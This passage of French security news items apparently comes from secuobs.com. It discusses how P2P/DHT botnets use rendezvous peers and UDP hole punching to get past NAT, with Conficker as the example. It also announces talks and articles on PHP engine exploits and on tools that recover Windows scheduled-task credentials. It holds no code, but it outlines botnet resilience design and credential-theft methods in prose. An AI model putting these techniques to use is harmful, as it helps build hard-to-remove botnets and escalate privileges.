d'ajouter une ressource peer, chunk - get qui permet de récuperer une ressource - del qui supprime une ressource - route qui route le message vers la ressource L'avantage direct de ce type de technologie est la non divulgation des adresses des destinataires, et surtout le fait de se passer des problématiques de routage entre les différents noeuds Le principe d'une DHT étant pour un peer de ne connaître qu'une petite portion du réseau, une personne voulant récupérer les adresses IP de tout le réseau n'aura que la vision du peer qu'il contrôle avec ses voisins, sa leaf pour reprendre les termes liés à la bibliothèque chimera Le routage est automatique, les problématiques de routage sont négociées par la DHT elle-même Le principal problème de ce mode de communication provient du NAT En effet, un client, situé derrière un routeur, possédant une adresse privée ne pourra pas directement communiquer avec le reste du réseau, la passerelle ne relayant pas les messages entrants Il existe cependant plusieurs méthodes pour traverser les NAT, la plus efficace pour ce type de réseau étant l'utilisation de Peer spéciaux dits points de rendez-vous Il prennent en charge les connexions sortantes d'un client NATé lui permettant de communiquer avec le reste du réseau L'utilisation de l'UDP hole punching fiabilise cette méthode en assurant une connexion directe une fois la négociation avec le point de rendez-vous effectuée Un bon exemple est le botnet Conficker qui utilise des points de rendez-vous, mais là encore en utilisant des listes de domaines générés par le bot toutes les 3h, et surtout prédictibles Il existe également une autre solution, moins fiable, de communiquer directement avec des clients derrières des NAT, en profitant de l'état stateless de l'UDP Depuis un Peer A, nous pouvons faire envoyer en continu des paquets sur un Peer B qui ne s'attendra pas à recevoir le flux Si le NAT ne modifie pas le port source du Peer A, B peut envoyer à son tour un flux UDP en direction de A sur ce même port source et ainsi assurer la connexion Cette méthode est en effet peu fiable car le port source peut se retrouver modifié par l'équipement réseau en amont Revenons à notre DHT Une attaque peut mettre en péril l'intégrité d'une DHT le fait d'ajouter une énorme quantité de bot afin de la polluer et après un certain temps, de tous les déconnecter en même temps pour couper le routage entre nodes Ces tainted Peer doivent être identique en tout point aux autres peers du réseau La réussite de cette attaque est liée à la taille du réseau Plus le réseau est grand et plus il sera difficile de polluer la DHT De même, pour vérifier si une information est valide ou pas il n'existe actuellement aucune méthode fiable de vérification des messages, un tainted peer peut envoyer de fausses informations Généralement le bot master possède une clef privée permettant de signer ses messages, ce qui handicape les messages autonomes entre peers, à l'exception des messages de type keepalives et les forward de messages signés Pour conclure, il semble évident que l'émergence d'une solution totalement décentralisée, actuellement possible avec des outils et des bibliothèques open-source, serait plus difficile à éradiquer Il existe aujourd'hui des solutions concrètes pour fabriquer des réseaux décentralisés indépendant de l'OS et de l'architecture, qui ne font appel à aucun référant fixe en dehors du réseau lui-même et capable de faire du NAT traversal Contrairement aux exemples précédant cités en début d'article, il sera extrêmement difficile dans les années à venir de supprimer ce type de réseau Pour vous donner un ordre d'idée, le plus gros cloud n'appartient pas à Microsoft, Google ou Amazon, mais aux propriétaires du ver Conficker http://www.secuobs.com/revue/news/219948.shtmlhttp://www.secuobs.com/revue/news/219948.shtml Secuobs.com : 2010-01-07 19:55:17 - La Sécurite Offensive - ossirRomain et Maël présentent Mardi 12 Février à l'OSSIR sur le thème Exploitation des failles dans le moteur PHP La présentation sera alimentée d'une petite démonstration N'hésitez donc pas à aller les rencontrer si vous souhaitez davantage d'explications à propos des travaux qu'ils ont pu réaliser Par ailleurs, ATLAB a publié 2 articles dans le dernier MISC 47, à savoir un article sur les vulnérabilités du moteur PHP rubrique Exploit Corner écrit par Romain et Maël, et un article sur les tâches planifiées et la gestion de credentials sous Windows XP et 2003 rubrique Code écrit par Roderick Ce dernier complète alors les travaux d'Ivanlef0u sur ce sujet 1 2 Sous Windows, une tâche planifiée est authentifiée au moment de son exécution impliquant alors une sauvegarde de credentials par le système Un attaquant passé Administrateur local peut alors obtenir les credentials associés au compte ayant servi à la planification d'une ou plusieurs tâches sur le système compromis Une telle attaque est intéressante puisqu'elle permet potentiellement une élévation de privilèges sur un domaine Windows Les travaux d'Ivanlef0u et l'article de Roderick décrivent chacun une méthode pour y parvenir L'outil TaskPwDump -ng d'Ivanlef0u hook e la fonction DecryptCredentials dans l'instance du processus svchost ayant chargé schedsvcdll pour intercepter les credentials une fois ceux-ci déchiffrés L'outil TaskPwDump2 d'ATLAB récupère les crédentials chiffrés dans la base de registre puis émule le comportement de la fonction DecryptCredentials pour les déchiffrer L'article dans MISC de Roderick décrit ces deux attaques et discute de leurs avantages et inconvénients respectifs -- 1 http wwwivanlef0utuxfamilyorg p 173 2 http wwwivanlef0utuxfamilyorg p 229 http://www.secuobs.com/revue/news/179280.shtmlhttp://www.secuobs.com/revue/news/179280.shtml